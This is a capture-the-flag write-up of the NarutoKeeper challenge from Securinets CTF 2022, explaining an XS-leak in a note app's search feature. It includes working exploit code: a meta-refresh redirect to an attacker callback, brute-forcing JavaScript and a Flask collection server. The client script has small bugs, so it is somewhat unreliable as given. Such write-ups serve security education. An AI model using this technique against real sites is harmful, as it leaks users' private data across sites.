---
# System prepended metadata

title: NarutoKeeper - Securinets-CTF Quals 2022
tags: [web, XS-leaks]

---

---

title: NarutoKeeper - Securinets-CTF Quals 2022
date: 2019-10-14 17:09:06
author: ma1f0y
author_url: https://twitter.com/mal_f0y
categories:
  - Web
tags:
  - web
  - XS-leaks
  
---

One line content description (Optional)

**tl;dr**

+ Insert note with meta tag to redirect to get callback
+ leak the flag using search

<!--more-->

**Challenge points**: 996
**No. of solves**: 8
**Solved by**: [ma1f0y](https://twitter.com/mal_f0y) ,[yadhuz](https://twitter.com/YadhuKrishna_)<!--Change username-->

## Challenge Description

I was confused and didn't know what's the approproate name for this website :( However just a typical note keeper website \o/ Enjoy the ride :)

## Intro
This was an intresing XS-Leaks challenge from securinets ctf, which had the least number of solves among web challenges. 
## Analysis

In this challenge , we were given a note creating app and there was a search functionality where we can search note content and which was an intresting place to start searching for bugs like XS-Leaks

```python=
@app.route('/search')
def search():
    if 'username' not in session:
        return redirect('/login')
    if 'query' not in request.args:
        return redirect('/home')
    query = str(request.args.get('query'))
    results = get_pastes(session['username'])
    res_content=[{"id":id,"val":get_paste(id)} for id in results]
    if ":" in query:
        toGo=get_paste(query.split(":")[1])
        sear=query.split(":")[0]
    else:
        toGo=res_content[0]["val"]
        sear=query
    i=0
    for paste in res_content:
        i=i+1
        if i>5:
            return redirect("/view?id=MaximumReached&paste="+toGo.strip())
        if sear in paste["val"]:
            return redirect("/view?id=Found&paste="+toGo.strip())
    return render_template("search.html",error='No results found.',result="")
```

looking through the source code for the search endpoint we can easily spot the bug.The bug is that if the searched note was found we can load any note in the response by giving the `note_id` after a `:`.

`/search?query=flag{:note_id`

Now we need to have an oracle to find out whether our note is loaded or not.

We can insert HTML as note,but there is strict csp, So no xss

```htmlembedded=
<meta http-equiv="Content-Security-Policy" content="default-src 'self';object-src 'none'">
```
**meta tag to rescue**

We can insert a note with meta tag to redirect to our site
```htmlembedded=
<meta http-equiv="refresh" content="0;url=http://site/webhook">
```
So if the note is loaded it will be redirected to our site with that we can bruteforce the flag char by char 


there was a timeout for the bot to visit the url we give.
```javascript=
await page2.goto(website,{
        waitUntil: 'networkidle0',  
        timeout:60000
    }); // Opens page as logged user
```
 but note the `waitUntil: 'networkidle0'` which means the bot will wait until there is no network connection for at least 500ms , So we can load a image(just sleep) which will delay the timeout


## Exploit

client-side code for the exploit 
```htmlembedded=
<!DOCTYPE html>
<html>
    <body>
    <script>

         function sleep(ms) {
                return new Promise(resolve => setTimeout(resolve, ms));
            }

        chars="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}"
        char=""
        webhookid="HNDMTOGDSWTAPQH397PIXAXKZ79QUWHQSE96RVSU6C5PZGGN5G5Z5L3R1FQN3FTJ"
        window.webHook = "http://attacker_site/"
        window.url=`https://20.124.0.135/search?query=Securinets{${char}:${webhookid}`
        var temp= document.createElement("iframe")
        temp.setAttribute("src", url)
        document.body.appendChild(temp)
        let know = "Securinets{"
        async function checker(){
            for(var i=0; i<chars.length; i++){
                char=Known+chars[i];
                await fetch('/log?current='+char)
                temp.src=`https://20.124.0.135/search?query=${char}:${webhookid}`
                await sleep(3000);
                let resp = await fetch('/progress')
                let found = await resp.text()
                if(found != know){
                    know = found
                    return;
                }

            }
        }
        while (know[-1] != '}'){
            checker();         
        }

    </script>
        <img src="http://sleep_url/">
    </body>
</html>
```


attacker's server

```python=
from flask import Flask,request,render_template,session,redirect

app = Flask(__name__)

found = ""
letter = ""

@app.route("/")
def welcome():
    return render_template("index.html")

@app.route("/log")
def log():
    global found, letter
    letter = request.args.get("current")
    return found

@app.route("/webhook")
def webhook():
    global found, letter
    found = found + letter
    return found

@app.route("/progress")
def progress():
    global found
    return found

if __name__=="__main__":
    app.run(host="0.0.0.0", debug=True, port=8085)

```


There was more insteresting solutions for this challenge like abuse the redirect in the search with fetch redirct limit.
Totally  Solving this challenge was fun and learnt a lot with it

## Flag

``Securinets{ArigAt0}``


